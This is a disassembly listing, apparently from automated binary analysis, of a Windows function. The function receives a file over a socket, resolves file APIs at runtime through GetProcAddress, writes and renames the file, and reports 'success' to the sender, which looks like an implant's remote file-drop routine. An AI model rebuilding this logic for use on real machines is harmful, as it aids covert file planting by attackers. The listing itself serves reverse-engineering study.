Function at 0x140002a8a
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x248
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x30]
mov edx, 1
mov rcx, rax
call sym.recv_abi:cxx11__int_
lea rax, [rbp + 0x50]
lea r8, [0x14009b119]
lea rdx, [0x1400bc0a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x10]
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0x50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x70]
mov edx, 0
mov rcx, rax
call sym.recv_abi:cxx11__int_
lea rax, [rbp + 0x70]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoi_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov dword [rbp + 0x1bc], eax
lea rax, [rbp + 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov edx, dword [rbp + 0x1bc]
mov r8d, 1
mov rcx, rax
call sym.recvAll_abi:cxx11__int__int_
lea rax, [rbp - 0x40]
lea rdx, str.error
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140002b82
mov ecx, 8
call sym.__cxa_allocate_exception
mov rbx, rax
mov rcx, rbx
call fcn.140093240
mov r8, qword [method.std::bad_alloc.bad_alloc__]
lea rax, [0x1400a29b0]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rax, [rbp + 0xbf]
mov qword [rbp + 0x168], rax
nop
nop
lea rdx, [rbp + 0xbf]
lea rax, [rbp + 0x90]
mov r8, rdx
lea rdx, str.received
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.send_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xbf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x1b0], rax
cmp qword [rbp + 0x1b0], 0
jne 0x140002c3c
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov rbx, rax
lea rax, str.Failed_to_get_handle_to_kernel32.dll
mov rdx, rax
mov rcx, rbx
call method.std::runtime_error.runtime_error_char_const_
mov r8, qword [method.std::runtime_error.runtime_error__]
lea rax, [0x1400a1f50]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
mov rax, qword [rbp + 0x1b0]
lea rdx, str.CreateFileW
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1b0]
lea rdx, str.WriteFile
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1b0]
lea rdx, str.CloseHandle
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x1b0]
lea rdx, str.MoveFileExW
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x1b0]
lea rdx, str.DeleteFileW
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x188], rax
cmp qword [rbp + 0x1a8], 0
je 0x140002d13
cmp qword [rbp + 0x1a0], 0
je 0x140002d13
cmp qword [rbp + 0x198], 0
je 0x140002d13
cmp qword [rbp + 0x190], 0
je 0x140002d13
cmp qword [rbp + 0x188], 0
jne 0x140002d4b
mov ecx, 0x10
call sym.__cxa_allocate_exception
mov rbx, rax
lea rax, str.Failed_to_dynamically_load_required_functions
mov rdx, rax
mov rcx, rbx
call method.std::runtime_error.runtime_error_char_const_
mov r8, qword [method.std::runtime_error.runtime_error__]
lea rax, [0x1400a1f50]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0x10]
lea r8, str..tmp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x20]
lea rdx, [rbp + 0xc0]
mov rcx, rax
call sym.utf8_to_wstring_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rbx, qword [rbp + 0x1a8]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
call rbx
mov qword [rbp + 0x180], rax
cmp qword [rbp + 0x180], 0xffffffffffffffff
jne 0x140002e08
mov ecx, 8
call sym.__cxa_allocate_exception
mov rbx, rax
mov rcx, rbx
call fcn.140093240
mov r8, qword [method.std::bad_alloc.bad_alloc__]
lea rax, [0x1400a29b0]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
mov rbx, qword [rbp + 0x1a0]
mov esi, dword [rbp + 0x1bc]
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data__
mov rdx, rax
lea rcx, [rbp + 0xc]
mov rax, qword [rbp + 0x180]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, esi
mov rcx, rax
call rbx
mov dword [rbp + 0x17c], eax
mov rdx, qword [rbp + 0x198]
mov rax, qword [rbp + 0x180]
mov rcx, rax
call rdx
cmp dword [rbp + 0x17c], 0
je 0x140002e72
mov edx, dword [rbp + 0xc]
mov eax, dword [rbp + 0x1bc]
cmp edx, eax
je 0x140002eb8
mov rbx, qword [rbp + 0x188]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rcx, rax
call rbx
mov ecx, 8
call sym.__cxa_allocate_exception
mov rbx, rax
mov rcx, rbx
call fcn.140093240
mov r8, qword [method.std::bad_alloc.bad_alloc__]
lea rax, [0x1400a29b0]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
mov rbx, qword [rbp + 0x190]
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x10]
mov rcx, rax
call sym.utf8_to_wstring_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rsi, rax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov r8d, 1
mov rdx, rsi
mov rcx, rax
call rbx
test eax, eax
sete bl
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
test bl, bl
je 0x140002f5c
mov rbx, qword [rbp + 0x188]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rcx, rax
call rbx
mov ecx, 8
call sym.__cxa_allocate_exception
mov rbx, rax
mov rcx, rbx
call fcn.140093240
mov r8, qword [method.std::bad_alloc.bad_alloc__]
lea rax, [0x1400a29b0]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rax, [rbp + 0x12f]
mov qword [rbp + 0x160], rax
nop
nop
lea rdx, [rbp + 0x12f]
lea rax, [rbp + 0x100]
mov r8, rdx
lea rdx, str.success
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.send_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x12f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400031f5
add rsp, 0x248
pop rbx
pop rsi
pop rdi
pop rbp
ret